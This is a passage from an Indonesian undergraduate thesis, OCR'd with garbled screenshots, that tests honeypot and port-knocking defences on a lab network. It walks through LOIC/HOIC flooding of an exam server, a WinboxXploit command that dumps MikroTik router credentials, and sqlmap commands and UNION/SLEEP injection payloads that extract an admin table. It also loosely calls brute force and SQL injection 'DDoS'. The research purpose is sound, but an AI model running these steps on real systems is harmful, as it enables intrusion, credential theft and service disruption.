teknik traffic flooding yang dikirim adalah byte data sehingga pengguna
lain tidak dapat dilayani.
. Serangan Ddos Brute Force attack

Teknik hacking Brute Force adalah salah satu teknik penyerang
untuk meretas password sebuah server, jaringan atau host, dengan cara
mencoba semua kemungkinan kombinasi password yang ada pada
wordlist atau “kamus password”. Metode ini digunakan untuk menemukan
password yang ingin diretas. Serangan brute-force merupakan metode
coba-coba yang digunakan oleh peretas untuk menebak kredensial atau
data terenkripsi seperti login, kata sandi, atau kunci enkripsi sebagai cara
untuk bisa masuk kedalam server sebuah jaringan. Pada penelitian ini
penyerang akan menggunaka metode exploit microtik dengan winbox
exploit untuk mendapatkan password microtik agar bisa masuk kedalam
server jaringan.
. Serangan Ddos attack SQL Injection
Structured Query Language (SQL) digunakan untuk melakukan

query, mengoperasikan, dan mengelola sistem database seperti SQL
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server, oracle, atau MySQL. Penggunaan umum SQL konsisten di semua
sistem databatase, namun ada detail perbedaan tertentu yang khusus untuk
setiap sistem.
SQL injection adalah jenis aksi hacking pada keamanan komputer
di mana seorang penyerang bisa mendapatkan akses ke basis data di dalam
sistem dengan memanfaatkan sebuah celah keamanan yang terjadi dalam
lapisan basis data untuk mendapatkan password atau username pada
sebuah aplikasi web yang tidak diproteksi dengan baik.
Sebelum serangan ddos attack dilakukan terlebih dahulu penyerang
melakukan scanning ip addres dan port yang digunakan oleh server jaringan
dengan menggunakan software advanced ip scanner dan Scaning port nmap

setelah ip dan port ditemukan barulah pengujian serangan ddos attack dilakukan.

3.6 Model sistem dan analasis

Model sistem dalam penelitian ini yaitu mencoba untuk melakukan
serangan Ddos Attack pada perangkat server jaringan yang bertujuan untuk
melakukan pengujian Ddos Attack yang nantinya akan mendeteksi serangan
dengan honeypot dan menghentikanya atau memblok serangan dengan port

knocking. Berikut gambar 3.2 gambaran umum serangan Ddos Attack.
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Serangan
Distributed Denial of Service

Server
Target

Master

ZL;hie
Gambra 3.2 gambaran umum serangan Ddos Attack

Serangan ddos attack bertujuan untuk mengganggu sistem pada server
jaringan agar tidak dapat melayani komputer klient, yang juga pada serangan ini
akan mencoba melakukan eksploitasi pada server microtik untuk mendapatkan
username dan password untuk dapat masuk menguasai server pada jaringan
tersebut, serangan selanjutnya yaitu mencoba untuk menginjeksi struktur
database agar bisa membuka halaman web sebagai pengguna admin, namun pada
pengujian ini serangan tersebut akan dideteksi dan digagalkan dengan

imlplementasi honeypot dan port knocking.

Pada dasarnya port knocking dapat didefinisikan sebagai suatu metode
komunikasi antara dua computer, sedangkan honeypot sebagai pengalihan
penyusup seolah — olah sudah masuk ke sever utama. Berikut gambaran umum

pada hardware dalam proses perancangan implementasi Honeypot dan Port
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Konocking sebagai keamanan jaringan pada server dari serangan Dddos Attack

seperti gambaran umum sistem pada gambar 3.3 dibawah:

S ‘-'——1

\1/ Administrator

<———

Aﬁacker 2}
192 168.10.2
Honeypot

USEFT USEFZ USEF 3

Gambar 3.3 Gambaran umum sistem Honeypot dan Prot Knocking

Pada gambaran umum sistem honeypot dan port knocking gambar 3.3
diatas server jaringan menjadi target dari serangan ddos attack, namun serangan
tersebut telah dialihkan dan masuk kedalam server honeypot yang dimonitor
langsung oleh administrator, yang selanjutnya administrator akan mengambil
langkah-langkah tindakan pemblokiran user serangan ddos attack dengan metode
port knocking. Setelah mengetahui bagaimana konsep perancangan hardware
pada gambaran umum sistem gambar 3.3 diatas, berikut adalah model flowchart

dari gambaran umum software seperti pada gambar 3.4 dibawah:
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inbox Microti / Honeypot KFSensor

l

Port Honeypot e Ddos Attack
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Serangan Ddos Injection
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Honeypot
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Gambar 3.4 Flowchart gambaran umum software

3.7 Kebutuhan Hardware dan Software

Berikut adalah kebutuhan hardware dan software yang digunakan dalam
proses pengujian penelitian, dalam merancang server jaringan dan
mengimplementasikan Honeypot dan Port Knocking dalam mendeteksi serta
mengatasi serangan Distributed Denial of Service Attack (Ddos Attack) untuk

keamanan server jaringan, pada table 3.1 berikut:



Tabel 3.1 Kebutuhan hardware dan software
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KEBUTUHAN PERANGKAT

HARDWARE

11Unit Personal Komputer

MIKROTIK Router Wireless HAP-Lite2 RB941-2nD-
TC

Kabel UTP

Konektor RJ-45

SOFTWARE

Sistem Operasi Windows 10-64 bit dan windows 7-64
bit

Xampp

Web Browser : US Browser, Google Chrome

Microtik Router/Winbox (untuk server dan port
knocking)

Advanced ip scanner dan Scaning port nmap

Loic, hoic, phyton 3.8.5-27, script winbox exploit dan
script sqimap

Honeypot kfsens40

Ujian jamin offline dan computer based test (CBT)
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BAB IV
HASIL DAN PEMBAHASAN

4.1 Hasil penelitian

Hasil penelitian yang didapatkan dari pengujian terhadap sistem keamanan
server jaringan menggunakan honeypot dan port knocking dari serangan
Distributed Denial Of Servis Attack (Ddos Attack) adalah sebagai berikut;

4.1.1 Simulasi serangan Distributed Denial Of Servis Attack (Ddos Attack)

Pada proses simulasi serangan ddos Attack akan digunakan beberapa
teknik dan analisis serangan dilakukan sebelum menggunakan keamanan jaringan
honeypot dan port knocking serangan ddos attack yang dilakukan pada pengujian
penelitian ini menggunakan beberapa target seperti ujian jamin offline dengan
menggunakan jaringan local warless network, eksploit microtik dan SQL injection
yaitu untuk mendapatkan struktur database dari sebuah aplikasi web agar bisa
login sebagai admin.

Sebelum serangan dilakukan penyerang harus mendapatkan ip target
terlebih dahulu agar bisa melakukan serangan ke sistem server jaringan yang
digunakan untuk bisa melakukan ddos attack, tools yang akan digunakan yaitu
advanced ip scanner, berikut hasil scanner ip pada gambar 4.1 Hasil advanced ip

scanner.
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(T Advanced |P Scanner

File Actions Settings View Help

b Scan JP ,c T ;:

192.168.10.1-254
Resuits Favorites
Status Name P Manufacturer MAC address
v & 192.168.10.1 192.168.10.1 Routerboard.com D4:CA6D:02:92:44
& HTTP, RouterOS router configuration page (MikroTik router config httpd)
% FTP (MikroTik router ftpd 6.19)

— 192.168.10.2 192,168.10.2 Liteon Technology Corporation 24:FD:52:5C:C8:8A
v = DESKTOP-5VKMSB2. networkheros.com 192,168,104 Micro-Star INT'L CO,, LTD. 44:8A:58:91:C3:29
shared
Users
v B client-PC 192,168.10.11 REALTEK SEMICONDUCTOR CORP, 00:E0:4C:36:18:23

e AT SRS S
= Canon LBP3010/LBP3018/18P3050
Canon LBP3010LBP3018LBP3050 (Copy 1)

Gambar 4.1 Hasil advanced ip scanner

Didapatkan hasil scanner ip target sasaran vyaitu 192.168.10.1,
192.168.10.2, 192.168.10.4 dan 192.168.10.11 namun yang digunakan oleh
komputer pada server jaringan adalah 192.168.10.1 ip inilah yang nantinya dalam
pengujian pada penelitian ini akan dilakukan serangan sebelum terpasang sistem
keamanan jaringan honeypot dan port knocking pada server jaringan.

Setelah didapatkan ip target selanjutnya yaitu proses scanning port untuk
memastikan serangan ddos attack pada port berapa dan menggunakan protocol
apa, berikut hasil scaning port target menggunakan software nmap pada windows

seperti pada gambar 4.2 Scaning port nmap.
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Scan Jools Profile Help
Target: | 192.168.10.1 v | Profile: | Intense scan v| Scan
Command: Nmap-T4-A-v152.168.10.1

Services Nmap Output Ports / Hosts Topology Host Details Scans

1 ‘ < < ‘ v
0S ¢ Host Port 4 Protocol ¢ State ¢ Service Version

Acer-PC (192.168.4 ® B0 tep open  msrpc Microsoft Windows RPC
® B0 tcp open netbios-ssn  Microsoft Windows netbios-
® 21 tep open  microsoft-ds Windows 7 Ultimate 7600 m

Gambar 4.2 Scaning port nmap

Didapatkan hasil scaning nmap pada ip 192.168.10.1 yaitu ternyata

menggunakan port 80 dan port 21 dengan protocol tcp, ip address dan port inilah

yang nantinya akan menjadi target serangan ddos attack.

Tabel 4.1 Hasil scanning ip address dan port

No Jenis Scanning Hasil ip address Hasil port
192.168.10.1
: 192.168.10.2
1 Advanced ip scanner 192.168.10.4 -
192.168.10.11
2 Scaning port nmap - 22

Setelah didapatkan hasil scanning ip address dan port target,dimana ip

yang digunakan server adalah 192.168.10.1 terdapat keterangan pada manufactur

iyalah routerboard dan port 21 terdapat keterangan pada service yaitu microsoft-

ds. Tahapan selanjutnya adalah melakukan serangan ddos attack dimana pada

server jaringan ini belum dikonfigurasi dengan honeypot dan port knocking,

berikut tahapan-tahapan dan hasil serangan distributed denial of servis attack

(ddos attack);
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4.1.1.1 Serangan ddos attack pada ujian jamin berbasis offline menggunakan
jaringan wireless

Pada tahap ini pengujian penelitian yang dilakukan yaitu menggunakan
jaringan local area network dengan simulasi ujian berbasis offline dengan
percobaan pengujian serangan menggunakan 2 software ddos yaitu hoic untuk
request flooding pada jaringan dan loic untuk traffic flooding pada jaringan
secara bersamaan untuk mengirim request dan paket data dalam jumlah banyak
sehingga CPU pada komputer server bekerja semakin keras dan lalulintas jaringan
menjadi sibuk dan padat sehingga jaringan yang terhubung ke server sangat
lambat dan bahkan sebagian tidak bisa untuk diakses.

1. Serangan Ddos Attack Request Flooding

Pada pengujian Ddos Attack Request Flooding untuk mengirimkan

request pada jaringan secara terus menerus penyerang menggunakan

software loic tujuannya adalah untuk membanjiri lalu lintas jaringan

sehingga server jaringan tidak bisa melayani pengguna lain, seperti pada

gambar 4.3 Ddos attack loic;

82 Low Orbit lon Cannon | When harpoons, air strikes and nukes fails | v. 1.0.8.0 - e

2. Ready?

(i - . v [ e Lock on
Low, (m' _ IMMA CHARGIN MAH LAZER
3 Ln::k on

192.168.10.1

PraetoXtcom:

Gambar 4.3 Ddos attack loic
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Setelah  software berjalan masukan alamat URL target
192.168.10.1/ujian-pertama dan ip target 192.168.10.1 yang sudah
terdeteksi yang selanjutnya penyerang akan melumpuhkan dengan riquest
secara terus menerus dengan klik IMMA CHARGIN MAH LAZER secara
otomatis request terkirim dan berjalan seperti gambar 4.4 Ddos attack

request loic.

192.168.10.1

Gambar 4.4 Ddos attack request loict

Request flooding sedang berjalan pada port 21, metdhod TCP dan
threads 10 dengan level kecepatan faster atau kecepatan tertinggi dalam
level pengujian ini, name serangan desudesudesu pengujian serangan akan
dihentikan jika sistem jaringan sudah down.

. Serangan Ddos Attack Traffic Flooding
Traffic flooding pada ddos attack ini pada dasarnya yaitu mengirim

paket byte berupa data sebanyak-banyaknya dengan menggunakan software
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hoic agar server jaringan tidak bisa melayani pengguna lain hampir sama
dengan riquest flooding namun perbedaanya traffic flooding berupa byte
data yang dikirimkan keluar kedalam ip target sasaran, seperti pada gambar

4.5 URL target ddos attack traffick hoic;

B Ho.

Target

URL

I.C. - [Target] IN GEOSYNCHONOUS ORBIT

Booster

192,168.10.1/ujian-pertama

Power

Low

Medium High

Booster (leave blank unless u know what ur doing)

w

Dutch

GenericBoost.hoic

Freedom.hoic

user-agent-test.hoic HIGH OREIT ION CANNON
STANDING BY THREADS OUTPUT TARGETS

ﬂ@ /M E @l ﬁ\\q J\\]@ /M FIRE TEH LAZER!

HIGH ORBIT

5 » 0 bytes

249 CANNONS DETECTED

Gambar 4.5 URL target ddos attack traffick hoic

Pada serangan ddos attack hoic masukan alamat URL dari halaman
website yang terhubung ke jaringan untuk selanjutnya menjadi target
penyerang memasukan bytes data dalam jumlah banyak pada pengujianya
menggunakan URL 192.168.10.1/ujian-pertama sebagai target server,
sedangkan untuk power pilihanya ada low, medium dan high peneliti
menggunakan high untuk kecepatan yang tinggi selanjutnya booster ada
beberapa pilihan tergantung keinginan penyerang akan melakukan
kelumpuhanya sampai ditingkat mana namun dalam penelitian ini
penyerang akan menggunakan user-agent-test.hoic untuk mengirim paket

data ke server jaringan, seperti pada gambar 4.6 ddos attac traffic hoic.
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Bl HOLC.|v2.1.003 | Truth is on the side of the oppressed. | = S

IN GEOSYNCHONOUS ORBIT

Target Power Booster Status
92.168.10.1/ujian-perta... user-agent-test.hoic

%.¢ HIGH ORBIT ION CANNON
ENGAGING TARGETS THREADS OUTPUT TARGETS

HI&GH ORBIT =
ION CANNON FIRE TEH LAZER! .

7,117052¢+8 kb + =

249 CANNONS DETECTED

Gambar 4. 6 Ddos attac traffic hoic
Status pada software hoic ENGAGING yang artinya sedang berjalan
untuk memasukan paket traffic berupa byte data kedalam ip server sebagai
target untuk mengganggu sistem jaringan agar tidak bisa digunakan antara

user komputer client-server.

Dari hasil pengujian serangan pada aplikasi web ujian jamin berbasis offline
dengan model jaringan localhost pada server jaringan menggunakan ddos attack
request flooding dan traffick flooding serangan berhasil masuk pada komputer
server jaringan berupa request paket dan byte data. Berikut pada tabel 4.2 Hasil
serangan ddos attack request flooding dan ddos attack traffick flooding sebelum

terpasang honeypot dan port knocking.
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Tabel 4.2 Hasil serangan ddos attack request flooding dan ddos attack traffick

flooding
Penguijian Jenis Ip target/ Waktu Level Hasil
serangan Port serangan serangan
Ddos
attack 192.168.10.1/ 31 2987428
. Faster
request 21 menit seconds
.. flooding
Uil Ddos
attack 192.168.10.1/ 31 Hidh 7.117052e+8
traffick 21 menit g kb
flooding
Ddos
attack 192.168.10.1/ 25 Easter 2735891
request 21 Menit seconds
. flooding
Uji2 Ddos
attack 192.168.10.1/ 25 High 5.363787e+8
traffick 21 menit kb
flooding
Ddos
attack 192.168.10.1/ 22 2583947
. Faster
request 21 menit seconds
.. flooding
Ui Ddos
attack 192.168.10.1/ 22 Hidh 7.023877e+7
traffick 21 menit g kb
flooding
Ddos
attack 192.168.10.1/ 37 3310978
. Faster
request 21 menit seconds
.. flooding
Uji4 Ddos
attack 192.168.10.1/ 37 Hiah 2.116352e+9
traffick 21 menit g kb
flooding
Ddos
attack 192.168.10.1/ 29 2872984
. Faster
request 21 menit seconds
.. flooding
Uiis Ddos
attack 192.168.10.1/ 29 Hiah 1.080268e+9
traffick 21 menit g kb

flooding
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Pada pengujian serangan ddos attack request flooding dan ddos
attack traffick flooding dilakukan 5 kali tahapan pengujian sebelum
digunakanya sistem keamanan honeypot dan port knocking. Lama waktu
serangan untuk pengujian pertama 31 menit, pengujian kedua 25, pengujian
ketiga 22 menit, pengujian keempat 37 dan pengujian kelima 29 menit atau
dengan rata-rata waktu sekitar 28 menit, serangan akan dihentikan jika
server jaringan target sudah tidak bisa lagi digunakan atau lost connection
pada komputer user client sudah tidak bisa lagi terhubung ke server, dimana
serangan ddos attack request flooding menggunakan ip target yaitu
192.168.10.1 dengan port 21 dan TCP koneksi pada level serangan faster,
name serangan desudesudesu dengan jumlah request time out masuk pada
server jaringan setiap and off Connection pada pengujian pertama 2987428
seconds, kedua 2735891 seconds, ketiga 2583947 seconds, keempat
3310978 seconds dan kelima 2872984 seconds. Sedangkan serangan ddos
attack traffick flooding juga menggunakan ip yang sama yaitu 192.168.10.1
karena dalam pengujian serangan ini targetnya 1 server pada port 21 dengan
level power serangan high dan booster tingkat gangguan user-agent-
test.hoic jumlah paket berupa byte data yang masuk pada server jaringan
pada pengujian serangan pertama 7.117052e+8 kb, kedua 5.363787e+8 kb,
ketiga 7.023877e+7 kb, keempat 2.116352e+9 kb dan kelima 1.080268e+9
kb, berdasarkan hasil serangan ddos attack tersebut server jaringan menjadi

down dimana web browser client tidak bisa lagi melakukan ujian jamin.
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3. Analisis hasil komputer server setelah adanya serangan ddos attack request
loic dan ddos attack traffic hoic
setelah serangan ddos attack dilakukan ternyata hasilnya berhasil
mengganggu server jaringan dan dapat dilihat pada performance CPU
komputer server kinerjanya semakin berat karena banyaknya lalulintas
jaringan yang masuk kedalam sistem jaringan, berikut gambar 4.7 hasil

sebelum terjadinya serangan ddos attack.

r_'_- Windows Task Manager , x ]
File Options View Help

| Applications | Processes I Services | Performance |Networking | Users |

CPU Usage CPU Usage History

Memaory Physical Memory Usage History

Physical Memory (ME) System

Total 1915 Handles 15753

Cached 439 Threads 785

Available 432 Processes 55

Free 15 Up Time 0:00:07:15
Commit {ME) 1597 / 3831

Kernel Memary (MB)

Paged 111

Monpaged 31 | H Resource Monitor. .. |

Processes: 55 CPU Usage: 12% Physical Memory: 74%

Gambar 4.7 CPU usage sebelum serangan ddos attack

Sebelum terjadinya serangan performance kinerja CPU usage pada
windows task manager menunjukan 5% sampai 12% yang artinya CPU
masih bekerja secara normal dan juga pada networking untuk kerja pada

jaringan local area connection masih 1% sampai 5% menunjukan bahwa
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masih bekerja secara baik dan beban kerjanya ringan karena memang hanya
sedikit pengguna yang terhubung ke jaringan karena dalam pengujian ini
peneliti hanya menggunakan 7 komputer user, 1 komputer server honeypot,
2 komputer untuk melakukan serangan ddos attack dan 1 komputer server,

seperti pada gambar 4.8 kinerja jaringan local area connection.

File Options View Help

Applications | Processes | Services | Performance Metworking | Ugers

Wireless Network Connection

Adapter Mame Metwork Utiliza...  Link Sp...  State

Local Area Con... 0 % - Disconnected

Wirgless Metwa... 0%  65Mbps Connected
Processes: 41 CPU Usage: 10% Physical Memory: 51%

Gambar 4.8 Network connection

Sistem jaringan pada pengguna yang terhubung ke jaringan server
ujian berbasis offline masih bisa terhubung sehingga pengguna lainya bisa
masuk untuk melakukan ujian jamin berbasis offline dengan membuka
browser dengan alamat ip 192.168.10.1/ujian-pertama, seperti pada gambar

4.9 Ujian jamin offline.
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B uian samindan Mutu - X |
& O 192.168.10.1 e

WELCOME P* - UJIAN JAMIN

1]
N
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Ujian Etika Profesi

UJIAN JAMINAN MUTU INTERNAL (JAMIN)

* Entry Page

Gambar 4.9 Ujian jamin offline

Setelah terjadi serangan ddos attack dengan menggunakan ddos
attack request loic dan ddos attack traffic hoic kinerja CPU semakin
meningkat dapat dilihat pada CPU usage history traffic kinerja CPU
mencapai 71% hingga 85% yang artinya kinerjanya semakin berat
dikarenakan lalulintas jaringan yang semakin sibuk dan padat setelah
adanya terjadi serangan ddos attack, seperti pada gambar 4.10 CPU usage

setelah ada serangan ddos attack.
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"8 Windows Task Manage

File Opticns View Help

| Applications | Processes | Services | Performance |Networkjng I Users |

CPU Usage CPU Usage History

Memory Physical Memory Usage History

Physical Memory (ME]) System

Total 1915 Handles 18855

Cached 4783 Threads 746

Available 454 Processes 58

Free 33 Up Time 0:03:08:02
Commit {MB) 2586 / 3831

Kernel Memory (ME)

Paged 115

Monpaged 32 [ [Fg Resource Monitor... ]

Processes: 58 CPU Usage: 85% Physical Memory: 75%

Gambar 4.10 CPU usage setelah ada serangan ddos attack

Beban kerja CPU semakin meningkat setalah adanya serangan ddos
attack dan juga pada local area connection presentasi kinerja jaringan
meningkat trafficknya mencapai 25% hingga 50% dikarenakan setelah
dilakukan serangan ddos attack lalulintas jaringan semakin sibuk karena
dibanjiri request time out yang masuk dan banyaknya paket data yang
masuk. Seperti pada gambar 4.11 performa networking setelah adanya

serangan ddos attack.
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File Options View Help

Applications | Processes | Services | Performance Metworking | Users

Wireless Metwork Connection

7
Adapter Name Metwork Utiliza... Link Sp... State

Local Area Con... 0% - Disconnected
Wireless Metwo. .. 0% 65Mbps Connected

Processes: 54 CPU Usage: 2% Physical Memony: 72%

Gambar 4.11 Performance networking setelah adanya serangan ddos attack
Setelah serangan ddos attack berhasil masuk kedalam sistem
jaringan serverpun menjadi sibuk dengan terbukanya port-port secara public
pada server menjadikan bebasnya serangan masuk sehingga pengguna lain
client yang ingin masuk kejaringan untuk melakukan ujian jamin tidak bisa
terhubung ke server, selain itu pengguna yang sudah terhubung pun web
browsernya menjadi lambat dan tidak bisa terhubung, seperti pada gambar

4.12 halaman web browser tidak bisa terhubung.
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Page not found

Gambar 4. 1 Halaman web browser tidak bisa terhubung

Pada hasil pengujian serangan jaringan sebelum digunakannya honeypot
dan port knocking didapatkan sistem jaringan menjadi tidak stabil halaman web
yang terhubung ke server jaringan pun menjadi down akibat banyaknya paket byte
data dan request yang masuk pada server jaringan, berikut tabel 4.3 Perbandingan
kinerja CPU dan jaringan pada saat adanya serangan ddos attack request flooding
dan ddos attack traffic flooding.

Tabel 4.3 Hasil performance CPU dan jaringan saat adanya serangan ddos attack
request flooding dan ddos attack traffic flooding

P .. Sebelum Setelah
engujian Rata-rata performance

serangan serangan
Uji 1 CPU Usage History 5%-12% 71%-85%
Networking History LAC 1%-5% 20%-25%
Uji 2 CPU Usage History 5%-23% 75%-90%
Networking History LAC 1%-5% 20%-30%
Uji 3 CPU Usage History 5%-16% 70%-89%
Networking History LAC 1%-5% 20%-25%
Uji 4 CPU Usage History 5%-21% 74%-96%
Networking History LAC 1%-5% 25%-45%
Uji 5 CPU Usage History 5%-18% 70%-92%
Networking History LAC 1%-5% 25%-35%
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Dari hasil analisis tabel 4.3 terlihat bahwa adanya perbedaan yang sangat
signifikan dari hasil kinerja performance CPU usage history dan networking
sebelum serangan dan setalah adanya serangan ddos attack request loic dan ddos
attack traffic hoic selama 5 kali pengujian, terlihat pada pengujian pertama hasil
rata-rata performance CPU usage history sebelum serangan 5%-12% setelah
adanya serangan CPU usage history 71%-85%, pengujian kedua performance
CPU usage history sebelum serangan 5%-23% setelah serangan 75%-90%,
pengujian ketiga performance CPU usage history sebelum serangan 5%-16%
setelah serangan 70%-89%, pengujian keempat performance CPU usage history
sebelum serangan 5%-21% setelah serangan 74%-96% dan pengujian kelima
performance CPU usage history sebelum serangan 5%-18% setelah serangan
70%-92%. Sedangkan pada hasil rata-rata networking history local area
connection (LAC) sebelum adanya serangan hanya mencapai 1%-5% dari lima
kali pengujian semua user client masih terhubung pada komputer server jaringan
untuk melakukan ujian jamin tidak ada kenaikan yang signifikan pada kinerja
sistem jaringan namun setelah adanya serangan ddos attack request flooding dan
ddos attack traffic flooding kinerja performance networking history LAC
meningkat pada pengujian serangan pertama rata-rata performance networking
history LAC mencapai 20%-25%, pengujian kedua rata-rata performance
networking history LAC mencapai 20%-30%, pengujian ketiga rata-rata
performance networking history LAC mencapai 20%-25%, pengujian keempat
rata-rata performance networking history LAC mencapai 25%-45% dan pengujian

kelima rata-rata performance networking history LAC mencapai 25%-35%.
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Dari hasil analisis performance CPU usage dan networking setelah terjadi
adanya serangan ddos attack komputer server bekerja semakin berat dalam
melayani client pengguna jaringan lain, sistem jaringan menjadi down bahkan
browser web tidak bisa dibuka untuk mengakses aplikasi web yang terhubung ke
server sehingga ujian jamin berbasis offline tidak bisa untuk dilaksanakan.
4.1.1.2 Serangan Ddos Brute Force Attack

Serangan ddos brute force attack merupakan teknik penyerang untuk
dapat masuk kedalam sistem jaringan dengan cara mendapatkan password
pada microtik yang digunakan untuk mengatur server jaringan, pada
penelitian ini soffware yang dugunakan adalah phyton versi 3.8.5 dan
dikonvigurasikan dengan script winbox exploit. Setelah selesai menginstal
phyton selanjutnya ekstrak file script winbox kedalam folder phyton lalu
buka software winbox dan masukan ip address microtik target serangan,
seperti pada gambar 4.13 ip address microtik target.

© WinBox v3.18 (Addresses) . Tl MEEE

“File Tools

Connect To: 152.168.10.1
Login: | Se

Password:

Add/Set

Managed Neighbors

Y| | Refresh

MAC Address IP Address |dentity Version Board Uptime Type

— 6C:3B:68B...

6C:38:6B:86:A5:2D 192.168.25.5 MikroTik 6.43 4 (stable) RB341-2nD 7d 01:35:52 IPv4 only
— 00:0C:42... — ——

00-0C;42:86:01:89 192.168.10.1 DATACELL 633 RB750 7d 22:54:53 IPvd only

Gambar 4.13 ip address microtik target
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Setelah didapatkan ip address yang akan menjadi target serangan
selanjutnya proses scanning password dan user login pada command prompt
dengan kode python.exe winboxexploit.py 192.168.10.1 dan hasilnya user
dan password dapat terdeteksi, seperti pada gambar 4.14 hasil exploit

password microtik.

EX C\Windows\system32\cmd.exe = B

C:“Python37-3Z2>python.exe WinboxXploit.py 192.168.16.1
Connected to 192.168.10.1 :8291
Exploit successful
komputerku
1 imanlZ3

: admin

r: komputerku
P iman

C:“Python37-32>

Gambar 4.14 Hasil exploit password microtik
Pada proses exploit password dan user didapatkan password =
iman123 sedangkan user = komputerku berhasil terdeteksi yang selanjutnya
akan kita coba login pada microtik menggunakan winbox, seperti pada

gambar 4.15 login hasil exploit winbox.



O | e| | Safe Mode | Session:[192.168.10.1

& Quick Set
W Intecfaces
23 Bridge
=% PPP

5= Swach
©18 Mesh

=P

#% Routing ! Users | Groups SSH Keys SSH Private Keys  Active Users

e : *|[=] [+]

Log & admir Ful
= &omputerku full

zl[z] (=] [] [ asa
B Fies System ,L it user [Mowed Addrmes

Last Logged i
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Julf20/2020 11;35-04

Gambar 4.15 Login hasil exploit password winbox

User dan password ternyata bisa digunakan untuk masuk ke microtik

melalui winbox, setelah berhasil masuk maka penyerang bisa mengatur

server jaringan sesuai dengan keinginanya, karena microtik pada saat ini

belum dilakukan setting untuk keamanan dari serangan ddos attack, berikut

tabel 4.4 hasil serangan ddos brute force attack.

Tabel 4.4 Hasil serangan ddos brute force attack

NO | Target serangan

Status serangan

Hasil serangan

FTP brute force
attack

Router
memproduksi log

Sukses menampilkan
username dan password
router microtik

Ujil Sukses menampilkan
SSH brute force Router
i username dan password
attack memproduksi log e
router microtik
FTP brute force Router Sukses menampilkan
i username dan password
attack memproduksi log e
Uiji 2 router microtik

SSH brute force
attack

Router
memproduksi log

Sukses menampilkan
username dan password
router microtik

FTP brute force
Uji 3 attack

Router
memproduksi log

Sukses menampilkan
username dan password
router microtik

SSH brute force

Router

Sukses menampilkan
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attack

memproduksi log

username dan password
router microtik

FTP brute force

Router

Sukses menampilkan
username dan password

attack memproduksi log router microtik
Uji 4 -
SSH brute force Router Sukses menampilkan
: username dan password
attack memproduksi log router microtik
FTP brute force Router Sukses menampilkan
: username dan password
attack memproduksi log router microtik
Uji 5

SSH brute force
attack

Router
memproduksi log

Sukses menampilkan
username dan password
router microtik

Pada pengujian serangan ddos brute force attack dilakukan 5 kali

pengujian serangan pada server jaringan hasilnya sama, pada microtik yang

menggunakan protocol FTP ataupun SSH dalam melayani client-server

pada router microtik terdapat port yang masih terbuka secara publik

sehingga username dan password pada microtik dapat ditampilkan pada saat

proses script winbox exploit, router microtik pun mendeteksi adanya log

aktifitas user pada saat exploitasi microtik berlangsung namun admin tidak

dapat melakukan pencegahan secara langsung jika penyerang sudah

mendapatkan username dan password login pada microtik.

4.1.1.3 Serangan Ddos Attack SQL Injection

Ddos attack SQL Injection merupakan teknik bagaimana seorang

penyerang bisa mengakses database beserta dengan tabelnya, ketika sudah

mengetahui table databasenya maka penyerang dapat mengetahui struktur

isi table untuk mendapatkan username admin atau password agar bisa
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masuk kedalam aplikasi web untuk menguasai akses aplikasi tersebut
seluruhnya.

Perangkat software yang dibutuhkan dalam SQL injection ini yaitu
python27 dan skript sqlmap setelah proses instalasi selesai selanjutnya
peneliti akan mencoba melakukan penyerangan pada aplikasi berbasis web

computer based test (CBT) seperti pada gambar 4.16 halaman login aplikasi.

"_

Computer Based Test

Masukan akun anda

Incorrect Login

admin

Forgot your password?

|

D

s
I

Gambar 4.16 Halaman login aplikasi
Pada gambar diatas penyerang tidak bisa akses untuk masuk
kedalam aplikasi tersebut status incorrect login karena username dan
password yang dimasukan tidak sesuai untuk itu dilakukan SQL injection
untuk dapat mengatahui username dan password yang digunakan pada
aplikasi web tersesbut, seperti pada gambar 4.17 proses SQL injection

sglmap.



C:\PythonZ7\SQLMap>sqlmap.py
—H__
Eg; {1.4.8.11#dev}
. 1 .

—_——— ———

http://sqlmap.org
Usage: sqlmap.py [options]
sqlmap.py: error: missing a mandatory option (-d, -u, -1, - g, -c, --list

m, -r, -
“tampers, --wizard, --update, --purge or --dependencies). Use -h for basic and -
for advanced help

Press Enter to continue...

C:\Python27°\SQLMap’sqlmap.py -u 192.168.10.1/ujian-online.cbt --dbs_

Gambar 4.17 Proses SQL injection sqlmap
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Pada tahap ini penyerang akan melakukan exploitasi database

untuk menampilkan struktur database yang digunakan pada aplikasi web

ini dengan alamat server URL 192.168.10.1/ujian-online-cbt, selanjutnya

tambahkan “sqlmap.py —u” sebelum alamat url dan “--dbs” pada akhir

alamat url untuk mengetahui daftar basis data yang digunakan pada

aplikasi web tersebut, seperti pada gambar 4.18 hasil exploitasi database

Type: UNION query

Title: MySQL UNION gquery <NULL> 6 columns

Payload: id=1 UNION ALL SELECT NULL,NULL.NULL,CONCAT(B8x71657:
.NULL#

Type: AND/OR time—based blind
Title: MySQL > 5.8.11 AND time-based blind
Payload: id~=1 AND SLEEP<(S5>

{ e - . .
web server operating system: Linux CentOS 5.10

web application technology: Apache 2.2.3, PHP 5.1.6
lback—end DBMS: MySQL 5.8

available databases [31:

information_schema

shutting down at 22:00:86

Gambar 4.18 Hasil eksploitasi database dengan sqlmap
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Setelah eksploitasi database selesai ditemukan ada 3 database
yaitu cbt, information schema dan test untuk melihat table admin selalu
berada pada database yang pertama yaitu cbt, selanjutnya ketikan
“sqlmap.py —u 192.168.10.1/ujian-online-cbt —D cbt --table” untuk melihat

table berikut hasilnya seperti pada gambar 4.19 struktur table cbt.

Gambar 4.19 Struktur table cbt

Ditemukan ada 14 table pada database cbt selanjutnya penyerang
akan melihat struktur columns dari table admin agar bisa melihat username
dan password ketikan “sqlmap.py —u 192.168.10.1/ujian-online-cbt —D cbt
—T admin --columns” maka akan muncul struktur columns dari table

admin seperti pada gambar 4.20 struktur columns admin.
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Type: AND/OR time-based blind
Title: MySQL > 5.8.11 AND time-based bhlind
Payload: id=1 AND SLEEP(S)

lweb server operating system: Linux Cent0OS 5.10
web application technology: Apache 2.2.3, PHP 5.1.6
(hack-end DBMS: MySQL 5.8

—— e

Co lumn

admin_id
admin_password
admin_usernane

f o s i ——

IS = s

shutting down at 22:81:42

Python2? QLMay

Gambar 4.20 Struktur columns admin

Pada struktur table admin terdapat 3 column yaitu admin_id
dengan type integer, admin_password type text dan admin username type
teks. Setelah ditemukan column selanjutnya adalah melihat isi dari
admin_username masukan pada command prompt “sqlmap.py -u
192.168.10.1/ujian-online-cbt —D cbt —T admin —C admin_password,
admin_username --dump” maka akan muncul password dan usename dari
aplikasi web tersebut, seperti pada gambar 4.21 password dan username

admin.



53

Type: UNION query

Title: MySQL UNION query <NULL) 6 columng

